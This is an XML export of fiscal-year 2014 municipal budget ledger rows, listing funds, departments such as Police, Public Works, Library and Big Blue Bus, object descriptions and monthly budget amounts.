<row _id="4945"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>522620.0</object><object_description>RENT</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>55450.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>55450.0</total></row>
<row _id="4946"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>10000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>10000.0</total></row>
<row _id="4947"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>533120.0</object><object_description>SPECIAL EQUIP MAINT</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>71800.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>71800.0</total></row>
<row _id="4948"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>20408.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>20408.0</total></row>
<row _id="4949"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1635.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1635.0</total></row>
<row _id="4950"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTE WATER</division_name><object>544010.0</object><object_description>SPEC DEPT SUPPLIES</object_description><category_code>848.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>255000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>255000.0</total></row>
<row _id="4951"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code>854.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>250648.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>250648.0</total></row>
<row _id="4952"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>555700.0</object><object_description>REGULATORY AGENCY FEES</object_description><category_code>866.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>110000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>110000.0</total></row>
<row _id="4953"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>577050.0</object><object_description>PROPERTY TAXES</object_description><category_code>866.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>128000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>128000.0</total></row>
<row _id="4954"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>555300.0</object><object_description>LIBRARY BOND DEBT SERVICE</object_description><category_code>910.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1486350.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1486350.0</total></row>
<row _id="4955"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>566220.0</object><object_description>CONVENTION / VISITORS</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2545381.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2545381.0</total></row>
<row _id="4956"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>614</division_id><division_name>INFORMATION MANAGEMENT</division_name><object>544120.0</object><object_description>PERIODICALS</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>86155.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>86155.0</total></row>
<row _id="4957"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>615</division_id><division_name>REFERENCE SERVICES</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1603932.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1603932.0</total></row>
<row _id="4958"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>616</division_id><division_name>PUBLIC AND BRANCH SERVICES</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2264206.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2264206.0</total></row>
<row _id="4959"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>401</division_id><division_name>ADMINISTRATIVE SERVICES (PW)</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>6461.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>6461.0</total></row>
<row _id="4960"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>401</division_id><division_name>ADMINISTRATIVE SERVICES (PW)</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>13888.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>13888.0</total></row>
<row _id="4961"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>18228.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>18228.0</total></row>
<row _id="4962"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2038.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2038.0</total></row>
<row _id="4963"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>544010.0</object><object_description>SPEC DEPT SUPPLIES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>126500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>126500.0</total></row>
<row _id="4964"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>555070.0</object><object_description>RECYCLING/DISPOSAL FEES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>4240000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>4240000.0</total></row>
<row _id="4965"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>325.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>325.0</total></row>
<row _id="4966"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>65000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>65000.0</total></row>
<row _id="4967"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTE WATER</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1545042.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1545042.0</total></row>
<row _id="4968"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTE WATER</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>850.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>12608.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>12608.0</total></row>
<row _id="4969"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTE WATER</division_name><object>522620.0</object><object_description>RENT</object_description><category_code>866.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>102000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>102000.0</total></row>
<row _id="4970"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>511250.0</object><object_description>STANDBY PAY</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>24400.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>24400.0</total></row>
<row _id="4971"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>511710.0</object><object_description>MEDICARE EMPLOYER CONTRIBUTION</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>250.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>250.0</total></row>
<row _id="4972"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>522160.0</object><object_description>TRANSFER STATION FEE</object_description><category_code>848.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>950.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>950.0</total></row>
<row _id="4973"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>522650.0</object><object_description>OTHER OPERATING RENT</object_description><category_code>866.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>226556.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>226556.0</total></row>
<row _id="4974"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>511740.0</object><object_description>EMPLOYEE HEALTH INSURANCE</object_description><category_code>820.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1021000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1021000.0</total></row>
<row _id="4975"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>34</fund_id><fund_name>Stormwater Management Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>578250.0</object><object_description>STORMWATER / WASTEWATER REIMB</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1127231.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1127231.0</total></row>
<row _id="4976"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>BUSINESS &amp; REVENUE OPERATIONS</division_name><object>400750.0</object><object_description>INT DEP / INVESTMENT</object_description><category_code>616.0</category_code><category_code_description>Investment Income</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="4977"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>405450.0</object><object_description>HBP-FHWA CAL INCLINE DESIGN</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="4978"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2338699.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2338699.0</total></row>
<row _id="4979"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object>511972.0</object><object_description>UNIFORM ALLOWANCE</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>7200.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>7200.0</total></row>
<row _id="4980"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>315</division_id><division_name>TRAINING</division_name><object>588070.0</object><object_description>EDUC &amp; RECREATIONAL EQUIPMENT</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>13592.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>13592.0</total></row>
<row _id="4981"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>6652.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>6652.0</total></row>
<row _id="4982"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>522540.0</object><object_description>ADVERTISING</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="4983"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>522540.0</object><object_description>ADVERTISING</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>760.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>760.0</total></row>
<row _id="4984"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>522540.0</object><object_description>ADVERTISING</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>285.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>285.0</total></row>
<row _id="4985"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>25279.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>25279.0</total></row>
<row _id="4986"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>544110.0</object><object_description>PRINTED FORMS</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>95.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>95.0</total></row>
<row _id="4987"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>555190.0</object><object_description>METRO LIBRARY SYSTEMS</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1700.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1700.0</total></row>
<row _id="4988"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>401</division_id><division_name>ADMINISTRATIVE SERVICES (PW)</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1025.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1025.0</total></row>
<row _id="4989"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>6482.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>6482.0</total></row>
<row _id="4990"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>17704.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>17704.0</total></row>
<row _id="4991"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>544010.0</object><object_description>SPEC DEPT SUPPLIES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="4992"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>82300.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>82300.0</total></row>
